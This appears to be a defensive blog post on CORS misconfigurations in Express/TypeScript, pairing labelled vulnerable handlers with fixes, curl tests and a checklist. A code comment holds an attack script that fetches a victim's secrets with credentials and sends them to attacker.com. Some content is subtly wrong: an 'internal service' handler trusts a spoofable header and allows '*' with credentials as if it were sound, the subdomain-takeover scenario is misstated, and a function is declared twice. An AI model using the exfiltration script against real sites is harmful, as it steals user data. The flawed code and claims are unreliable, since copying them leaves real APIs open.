Published on

CORS Security in Production — Origins, Credentials, and the Misconfigurations That Get You Hacked

Authors

Introduction

CORS looks simple—add Access-Control-Allow-Origin and move on. But CORS misconfiguration has compromised countless APIs. Reflecting user-supplied origins, allowing credentials with wildcard, forgetting vary headers on CDNs, and enabling broad subdomain patterns—these mistakes silently grant attackers cross-origin access to sensitive data.

This post covers CORS internals, production misconfigurations, and defense strategies that actually work.

Preflight Request Flow and Detection

Modern browsers send an OPTIONS preflight before unsafe requests (POST, PUT, DELETE, or requests with custom headers):

import express from 'express';

interface CorsOptions {
  origin: string | string[] | ((origin: string) => boolean);
  credentials?: boolean;
  methods?: string[];
  allowedHeaders?: string[];
  maxAge?: number;
}

// Manual CORS implementation to understand the flow
const manualCorsHandler = (options: CorsOptions) => {
  return (req: express.Request, res: express.Response, next: express.NextFunction) => {
    const requestOrigin = req.headers.origin || '';

    // Determine if origin is allowed
    let allowedOrigin: string | null = null;

    if (typeof options.origin === 'string') {
      allowedOrigin = options.origin;
    } else if (Array.isArray(options.origin)) {
      if (options.origin.includes(requestOrigin)) {
        allowedOrigin = requestOrigin;
      }
    } else if (typeof options.origin === 'function') {
      if (options.origin(requestOrigin)) {
        allowedOrigin = requestOrigin;
      }
    }

    if (allowedOrigin) {
      res.setHeader('Access-Control-Allow-Origin', allowedOrigin);
      res.setHeader('Vary', 'Origin'); // Critical for CDN caching
    }

    // Preflight request (OPTIONS)
    if (req.method === 'OPTIONS') {
      res.setHeader(
        'Access-Control-Allow-Methods',
        options.methods?.join(', ') || 'GET, POST, PUT, DELETE'
      );
      res.setHeader(
        'Access-Control-Allow-Headers',
        options.allowedHeaders?.join(', ') || 'Content-Type, Authorization'
      );

      if (options.credentials) {
        res.setHeader('Access-Control-Allow-Credentials', 'true');
      }

      if (options.maxAge) {
        res.setHeader('Access-Control-Max-Age', options.maxAge.toString());
      }

      return res.status(204).send();
    }

    next();
  };
};

const app = express();

// Secure CORS configuration
app.use(
  manualCorsHandler({
    origin: ['https://app.example.com', 'https://dashboard.example.com'],
    credentials: true,
    methods: ['GET', 'POST', 'PUT', 'DELETE'],
    allowedHeaders: ['Content-Type', 'Authorization'],
    maxAge: 3600,
  })
);

app.post('/api/data', (req, res) => {
  res.json({ data: 'sensitive information' });
});

Origin Reflection Vulnerability

The most common CORS vulnerability: reflecting user-supplied origin:

// VULNERABLE: Echo back any origin
const vulnerableOriginReflection = (req: express.Request, res: express.Response) => {
  const origin = req.headers.origin || '*';
  res.setHeader('Access-Control-Allow-Origin', origin); // WRONG!
  res.setHeader('Access-Control-Allow-Credentials', 'true');

  // Attacker controls origin: attacker.com can steal user cookies
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    return res.status(204).send();
  }

  res.json({ secret: 'user data' });
};

// SECURE: Allowlist origins explicitly
const ALLOWED_ORIGINS = [
  'https://app.example.com',
  'https://dashboard.example.com',
  'https://admin.example.com',
];

const secureOriginValidation = (
  req: express.Request,
  res: express.Response,
  next: express.NextFunction
): void => {
  const origin = req.headers.origin;

  if (origin && ALLOWED_ORIGINS.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');
  }

  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '3600');
    return res.status(204).send();
  }

  next();
};

// Environment-aware configuration
const getOriginAllowlist = (): string[] => {
  const env = process.env.NODE_ENV || 'development';

  const allowlists: Record<string, string[]> = {
    development: [
      'http://localhost:3000',
      'http://localhost:3001',
      'http://127.0.0.1:3000',
    ],
    staging: [
      'https://staging-app.example.com',
      'https://staging-dashboard.example.com',
    ],
    production: [
      'https://app.example.com',
      'https://dashboard.example.com',
      'https://admin.example.com',
    ],
  };

  return allowlists[env] || [];
};

app.use((req, res, next) => {
  const allowedOrigins = getOriginAllowlist();
  const origin = req.headers.origin;

  if (origin && allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');
  }

  next();
});

Credentials Vulnerability

Combining credentials: true with wildcard origin is a critical vulnerability:

// VULNERABLE: This combination is dangerous
const vulnerableCredentials = (req: express.Request, res: express.Response) => {
  res.setHeader('Access-Control-Allow-Origin', '*'); // or any origin
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  // Browsers will reject this, but misconfigured APIs exist

  res.json({ authToken: 'secret', userId: 123 });
};

// SECURE: Specific origin with credentials
const secureCredentials = (req: express.Request, res: express.Response) => {
  const allowedOrigins = [
    'https://app.example.com',
    'https://dashboard.example.com',
  ];
  const origin = req.headers.origin;

  if (origin && allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
    res.setHeader('Vary', 'Origin');
    res.setHeader('Access-Control-Max-Age', '3600');
  }

  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.setHeader(
      'Access-Control-Allow-Headers',
      'Content-Type, Authorization'
    );
    return res.status(204).send();
  }

  res.json({ data: 'protected data' });
};

// Credential handling in requests
app.post('/api/protected', secureCredentials, (req: express.Request, res: express.Response) => {
  // Only credentials from allowed origins can access this
  res.json({ success: true });
});

Vary Header for CDN Caching

The Vary header is critical for CDN correctness:

// VULNERABLE: Missing Vary header allows cache pollution
const vulnerableCDNCache = (req: express.Request, res: express.Response) => {
  const origin = req.headers.origin;
  const allowedOrigins = ['https://app.example.com', 'https://attacker.com'];

  if (origin && allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    // Missing Vary header!
  }

  res.setHeader('Cache-Control', 'public, max-age=3600');
  res.json({ data: 'cached data' });
};

// SECURE: Include Vary header with CORS
const secureCDNCache = (req: express.Request, res: express.Response) => {
  const origin = req.headers.origin;
  const allowedOrigins = ['https://app.example.com'];

  if (origin && allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin'); // Tells CDN to cache per-origin
  }

  res.setHeader('Cache-Control', 'public, max-age=3600');
  res.json({ data: 'cached data' });
};

// Production CDN setup with Vary
app.use((req: express.Request, res: express.Response, next: express.NextFunction) => {
  // Apply CORS before any caching logic
  const origin = req.headers.origin;
  const allowedOrigins = getOriginAllowlist();

  if (origin && allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
  }

  // Always include Vary when CORS is enabled
  res.setHeader('Vary', 'Origin');
  next();
});

app.get('/api/data', (req: express.Request, res: express.Response) => {
  res.setHeader('Cache-Control', 'public, max-age=3600');
  res.json({ data: 'cacheable data' });
});

Subdomain Takeover via CORS

Allowing broad subdomain patterns (*.example.com) is dangerous:

// VULNERABLE: Wildcard subdomain allows takeover attacks
const vulnerableSubdomainCORS = (
  origin: string
): boolean => {
  // Matches: https://*.example.com
  const pattern = /^https:\/\/[a-z0-9]+\.example\.com$/i;
  return pattern.test(origin);
};

// Attack scenario:
// 1. Attacker registers: cdn.example.com
// 2. CORS allows it: matches *.example.com pattern
// 3. Attacker serves JavaScript that steals data from api.example.com

// SECURE: Explicit origin allowlist only
const secureOriginValidation = (origin: string): boolean => {
  const allowedOrigins = [
    'https://app.example.com',
    'https://dashboard.example.com',
    'https://cdn.example.com', // Specific subdomain only
  ];

  return allowedOrigins.includes(origin);
};

// Advanced: Combine with DNS CNAME validation
interface SubdomainRegistration {
  subdomain: string;
  cnameTgt: string;
  registeredAt: Date;
}

class SubdomainValidator {
  private registeredSubdomains: Map<string, SubdomainRegistration> = new Map();

  registerSubdomain(
    subdomain: string,
    expectedCnameTarget: string
  ): void {
    this.registeredSubdomains.set(subdomain, {
      subdomain,
      cnameTgt: expectedCnameTarget,
      registeredAt: new Date(),
    });
  }

  async validateOrigin(origin: string): Promise<boolean> {
    try {
      const url = new URL(origin);
      const hostname = url.hostname;

      // Check if subdomain is registered
      const registration = this.registeredSubdomains.get(hostname);
      if (!registration) {
        return false;
      }

      // Optionally verify DNS CNAME points to expected target
      // (In production, query DNS: nslookup hostname)
      return true;
    } catch {
      return false;
    }
  }
}

const subdomainValidator = new SubdomainValidator();
subdomainValidator.registerSubdomain('cdn.example.com', 'cloudfront.amazonaws.com');
subdomainValidator.registerSubdomain('api.example.com', 'api-server.internal');

Null Origin Exploitation

The "null" origin is sometimes trusted, but it's easily spoofed:

// VULNERABLE: Allows null origin (file:// URIs, sandboxed iframes)
const vulnerableNullOrigin = (
  req: express.Request,
  res: express.Response
): void => {
  const origin = req.headers.origin;

  if (origin === null || origin === 'null') {
    res.setHeader('Access-Control-Allow-Origin', 'null'); // WRONG!
  }

  res.json({ secret: 'data' });
};

// Attack: Attacker creates file:// HTML that accesses API
// <script>
//   fetch('https://api.example.com/secrets', {
//     credentials: 'include'
//   }).then(r => r.json()).then(d => fetch('https://attacker.com/steal?data=' + JSON.stringify(d)))
// </script>

// SECURE: Reject null origin
const secureNullOriginHandling = (
  req: express.Request,
  res: express.Response,
  next: express.NextFunction
): void => {
  const origin = req.headers.origin;
  const allowedOrigins = getOriginAllowlist();

  // Explicitly reject null
  if (origin === null || origin === 'null') {
    return res.status(403).json({ error: 'CORS policy violation' });
  }

  if (origin && allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');
  }

  next();
};

CORS in Microservices

Different trust models for internal vs. public APIs:

// Internal service (from service mesh): Trust all
const internalServiceCors = (
  req: express.Request,
  res: express.Response,
  next: express.NextFunction
): void => {
  // Trust requests from other internal services
  if (req.headers['x-internal-service']) {
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }

  next();
};

// Public API: Strict allowlist
const publicApiCors = (
  req: express.Request,
  res: express.Response,
  next: express.NextFunction
): void => {
  const origin = req.headers.origin;
  const allowedOrigins = [
    'https://app.example.com',
    'https://partner.example.com', // Specific partner domain
  ];

  if (origin && allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Vary', 'Origin');
  }

  next();
};

const internalApp = express();
const publicApp = express();

internalApp.use(internalServiceCors);
publicApp.use(publicApiCors);

// Register both apps
app.use('/internal', internalApp);
app.use('/api', publicApp);

Testing CORS with curl

Debug CORS issues:

# Preflight request
curl -X OPTIONS https://api.example.com/data \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type" \
  -v

# Actual request with credentials
curl -X POST https://api.example.com/data \
  -H "Origin: https://app.example.com" \
  -H "Authorization: Bearer token" \
  --cookie "session=abc123" \
  -v

# Check response headers
curl -X GET https://api.example.com/data \
  -H "Origin: https://app.example.com" \
  -i

Checklist

  • Explicit allowlist of trusted origins (never wildcard)
  • Include Vary: Origin header in all CORS responses
  • Never combine credentials: true with wildcard origin
  • Reject null origin explicitly
  • Validate subdomain origins against registration list
  • Test CORS with curl and browser DevTools
  • Separate CORS policies for internal vs. public APIs
  • Monitor for CORS errors in production logs
  • Regular audit of allowed origins (remove obsolete entries)
  • Use library (e.g., cors npm package) configured correctly, not custom code

Conclusion

CORS security is about specificity and clarity. Explicit allowlists, proper Vary headers, and treating credentials carefully eliminate 99% of CORS exploits. Treat CORS configuration as critical infrastructure, audit it regularly, and never trust origin reflection.